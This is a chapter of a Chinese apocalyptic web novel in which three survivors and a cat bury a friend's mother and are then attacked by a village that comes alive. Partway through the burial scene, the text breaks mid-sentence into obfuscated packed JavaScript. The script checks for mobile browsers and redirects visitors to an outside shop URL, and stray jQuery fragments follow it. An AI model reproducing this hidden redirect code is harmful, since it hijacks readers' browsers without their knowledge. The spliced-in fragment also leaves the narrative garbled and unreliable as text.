75. 影雾(5)

作品:《末日祂追着我跑[无限]

    堂屋大门敞开,雨已经停了,月光斜斜洒进屋内,凌昊宇背光站在门口,拉长的影子罩住了她和小黑。


    小黑站在阴影里,脑袋前倾,两只耳朵一抖一抖。


    山风在峡谷中环绕,“呜呜呜”的风声时高时低,还有屋顶瓦片滚落的声音。


    “呜咿咿——”高低错落的声音交织在一起,像女人的哭声。


    就在这呼啸的山风中,“哒哒哒”,一道脚步声响在石板路上。


    脚步声由远及近,保持着固定的频率,不紧不慢,缓缓而来。


    沐槿从背包下抽出砍刀,握在手中,起身走向门口。


    小黑“嗖”地一声跳上凌昊宇的肩,两人一猫同步看向村头。


    村头的地势比村尾高,两道耸起的石墩像两个守卫,卡住了进村的路,石板路的宽度仅勉强够一辆小轿车通过。


    石板被雨水冲刷得透亮,月光浮动,石板路面仿佛活了过来,随着月色流淌。


    石板上出现一道影子,一道细长的人影和一架平板车。


    板车,谁会在末日拉板车出行?


    能拉板车至少不是什么奇怪的东西。


    “轰——轰——”车轮滑动的声音很轻,比脚步声轻微,应该是也做了缓冲隔音处理。


    “吱呀”,一声拉长的杂音后,脚步声停下。


    来人站在院门外,侧过身面对他们。


    月光照在她的脸上,那只一张甜美的脸,眉眼自带向上的弧度,但此时那张微笑的唇角向下耷拉,两只幽黑的瞳孔直直地盯着他们。


    是一张熟悉的脸,又有些陌生。


    沐槿对上她的视线,脱口而出:“乔悦?”


    对面的人神色疲惫,短发一缕一缕地贴在脸上,她的眼眸骤然发亮:“沐槿!”


    刚喊出这句,她的身体晃了晃,瘫倒在门边。


    沐槿快步上前扶起她:“你怎么会来这里?你不是在余都吗?”


    乔悦撑着她的手站起来,声音干涩嘶哑:“余都沦陷了,安全局检测到南茗这一带红雾侵袭浓度最低,幸存者南迁。”


    “幸存者?其他人呢?”


    沐槿的视线落在她身后的架子车上,架子车上盖着白布,将里面的东西遮挡得严严实实,


    乔悦垂下眼:“水、陆、空所有的交通都不通,我们失散了,走到这里的只有我,还有我妈妈。”


    沐槿的视线从板车上移开,没有再问:“先进屋休息吧。”


    两人朝屋里走,凌昊宇迈步过来,直直走向那辆板车,伸手搭在车架上就要去揭上面的白布。


    两人顿住,乔悦猛地冲过去,扑到车上,嘶喊出声:“你要干什么?”


    沐槿站在原地没动,没有阻拦也没有帮忙。


    深夜到此的乔悦给她一种奇怪的感觉,甚至让人怀疑她的真实性,但她确实又是乔悦,她的感知,还有小黑的感知都告诉她,眼前狼狈的女孩就是她在回乡途中认识的乔悦。


    凌昊宇的动作很快,白布上半部分被掀开,露出一张青白的脸。


    凭空一道闪电划过夜色,那张脸被照亮,惨白的脸上布满一块块青色的斑点,淡淡的腐臭味冲入鼻腔。


    “轰”,雷声滚滚而来。


    “要下雨了,我们进去吧。”沐槿抬手将白布重新盖上,拉起乔悦。


    她移开视线,瞥了凌昊宇一眼,随后朝右侧的窝棚颔首示意:“先把乔姨安置在那儿吧。”


    小院侧边的窝棚应该是堆木柴的柴房,此时空荡荡的只剩下一些碎木渣。


    木板车碾过泥泞的院子,土腥味慢慢盖住了空气中的腐臭味。


    三人回到堂屋里,乔悦坐在火炉旁,神色悲伤,早没了初见时的灵动。


    沐槿从背包里拿出一条毯子递给她:“乔悦,这个村子风景好,找个地方把乔姨安葬了吧。


    乔悦低头沉默了很久,就在沐槿以为她不会再开口的时候,她从喉咙里挤出一道声音:“好。”


    外面淅淅沥沥重新下起了雨,沐槿往炉子里添了几块煤渣,将凌昊宇替换下来,守下半夜。


    乔悦躺在并起的椅子上,凌昊宇在之前沐槿躺的地方,枕着背包和衣躺下。


    沐槿抱着黑猫,坐在那张黑木躺椅上。


    “吱呀”,木椅晃动了一下,慢慢恢复平稳。


    房门没有关,雨丝裹着凉风吹散了火炉的热气。


    沐槿在黑夜里,睁着双眼直视前方,这是最好的视野位置,抬头能看到山谷的天空,起伏的山岚。


    平视能看进对面的院子,对面的堂屋,那几张残破的老式沙发。


    她的视角和之前躺在这的老人重合,她无比清楚的意识到,那个老人一直在观察他们。


    老人没有走,她也许藏进了更隐秘的角落,继续观察他们。


    雨时大时小下了一夜,沐槿不知何时睡了过去,再次睁开眼,天色已经大亮。


    屋子里只有她和小黑,小黑横在她身上,四肢伸长睡成一长条。


    外面传来木头砍伐的声音,闷闷的,像是砍在经年老木上。


    沐槿起身走到门外,院侧的柴房摆了数根圆木,凌昊宇拿着长锯在锯木头,乔悦举着一把斧头在修理木头的枝丫。


    两人闷头干活,一副原木棺材慢慢成形。


    雨过天晴,阳光从云层中洒下,三人整理好乔姨的遗容,将她抬入棺中。


    棺盖用铁钉封死,乔悦麻木的表情被浓重的悲伤覆盖。


    沐槿抬手覆在她的肩膀上,低声安慰了一句:“乔悦,在末日里安静的死去未尝不是一个幸运。”


    “是呀,多少人死了连尸体都没留下,你妈妈的下场已经很好了。”凌昊宇在旁边附和道。


    乔悦抬起头,脸上的表情冻结,她的视线在两人脸上扫过,最后落回沐槿脸上,说了今天的第一句话:“他是你男朋友吗?”


    沐槿缓缓移开手,神色微顿:“不是,他是我弟弟。”


    乔悦犹带悲伤的脸上浮现出一丝生动之色:“异父异母的亲弟弟?”


    沐槿再次噎住,旁边的凌昊宇接过话茬:“对,我们是异父异母的亲姐弟。”


    乔悦脸上的神色变得奇怪:“好吧,我懂了。”


    你懂啥了?


    沐槿看着恢复了生机的乔悦,没再开口,结束了这个话题。


    三人合力将棺材抬上板车,推出院子,沿着土屋边的小路,朝后山而去。


    视野慢慢拔高,雨后的石村清澈宁静,光秃秃的山坡和树干上冒出了新鲜的绿芽。


    那些红影真的没回来,然而当他们登上山顶,俯瞰下方的山路与远处的公路时,一抹抹红色像幽灵一样飘荡。


    我们还需要去丽河市吗,这里不就是最好的庇护所?


    沐槿心里生出这个念头,可是这一切太不寻常,隐隐的不安笼罩着她。


    三人在山上选了一处最好的位置,从这里能看到大半个山城。


    雨后的土地松软,三人没费太大的力气,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962505|179658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在太阳当空之前,挖好了土坑。


    没有白幡和仪仗,他们将棺木放入坑中。


    豆大的眼泪从乔悦的脸上滑落,砸入坑中,她无声哭泣,用双手捧起泥土,洒在棺盖上。


    沐槿和凌昊宇对视一眼,加快了手里的动作。


    铁锹一铲铲封住了棺木,地面被填平。


    凌昊宇的工匠活干的很仔细,他用碎石和泥土混合,砌起了牢固的封土层,和一个圆润的坟包。


    干完这一切,已经过了正午,三人坐在大石头上缓息。


    “你们有什么打算,就在这里住下去吗?”乔悦用那块盖过母亲尸体的裹尸布擦干净手上的泥土,她的面目退去了青涩,变得坚毅。


    沐槿没有回答,而是反问道:“你呢,你有什么打算?”


    “我和爸爸走散前的目的地是丽河市的石堡村,我要去哪里找他。”乔悦从衣服内侧的口袋里拿出一张纸质地图,摊开,指向一个位置,“就是这里,政府计划在这里建立幸存者营地,你们要一起去吗?”


    沐槿下意识地抬头看向身侧的凌昊宇,凌昊宇正在用镰刀削一根木棍,尖端被他削得尖利。


    他神情专注,似乎对两人的谈话内容毫不在意。


    专注的男人抬起头,唇角扬起笑容:“我听你的。”


    “我们原本也准备去这里,”沐槿转过头,缓缓道,“但我想先找出这座石村的秘密。”


    话音刚落,一股强烈的危机感陡然而生,身侧的凌昊宇出手快如闪电,手里的木刺猛地掷出。


    “咿啊”,一阵尖利的嚎叫冲进耳膜,紧接着细碎的声音响遍山顶。


    三人起身,紧紧靠在一起,手里握着挖坟的工具,警惕地盯着前方。


    木刺的尖端插在一块石头上,血红的液体从石缝里往外渗。


    周围的石块扑簌簌滚动,刚长出嫩芽的树木剧烈摇晃,脚下的土地微微颤动,


    耳目所及,整座山谷瞬间活了过来。


    小黑“嗖”地窜向最近的一棵大树,两只前爪划下。


    “噗”,血红的液体喷溅而出,那棵树迅速枯萎,绿色的嫩芽从枝头折断,落入泥土里,被滚动的碎石捻碎,挤出红红绿绿的枝叶。


    安详的山顶变成了血腥的案发现场。


    “什么情况?它们活了吗?”乔悦声音颤抖。


    沐槿抬起脚,用力蹬向下方的土地。


    “砰砰”,脉搏跳动的触觉直传入大脑。


    “轰”地一身巨响,对面的山坡猛地拔高,失重感袭来,脚下的土地在快速陷落。


    “快跑!”


    三人一猫朝山下冲去,山路起伏不平,像踩在海浪上,他们连滚带爬地往村尾冲。


    上山前,他们把自行车和行李放在了村尾,除了两辆山地自行车,还有他们从石村里找到的一辆七成新横杠大轮自行车。


    此时三辆自行车横倒在地,石板路从两边往中间挤压,拱起一道明显的起伏。


    两边的房屋慢慢靠近,“轰隆隆”,石村从村头开始倒塌,石砖飞到半空中,又“哐当当”落地。


    他们一口气冲到村尾,跳上自行车,把轮子蹬地飞快。


    “喵!”小黑立在车筐里,发出一声急促的尖叫。


    自行车猛地刹在原地,身后的声音骤然退去,尘土还在空气中飞扬,却一点声音都没有发出。


    就在他们的前方,平坦的小路鼓起细密的疙瘩,那些疙瘩像石头又像某种表皮坚硬的动物。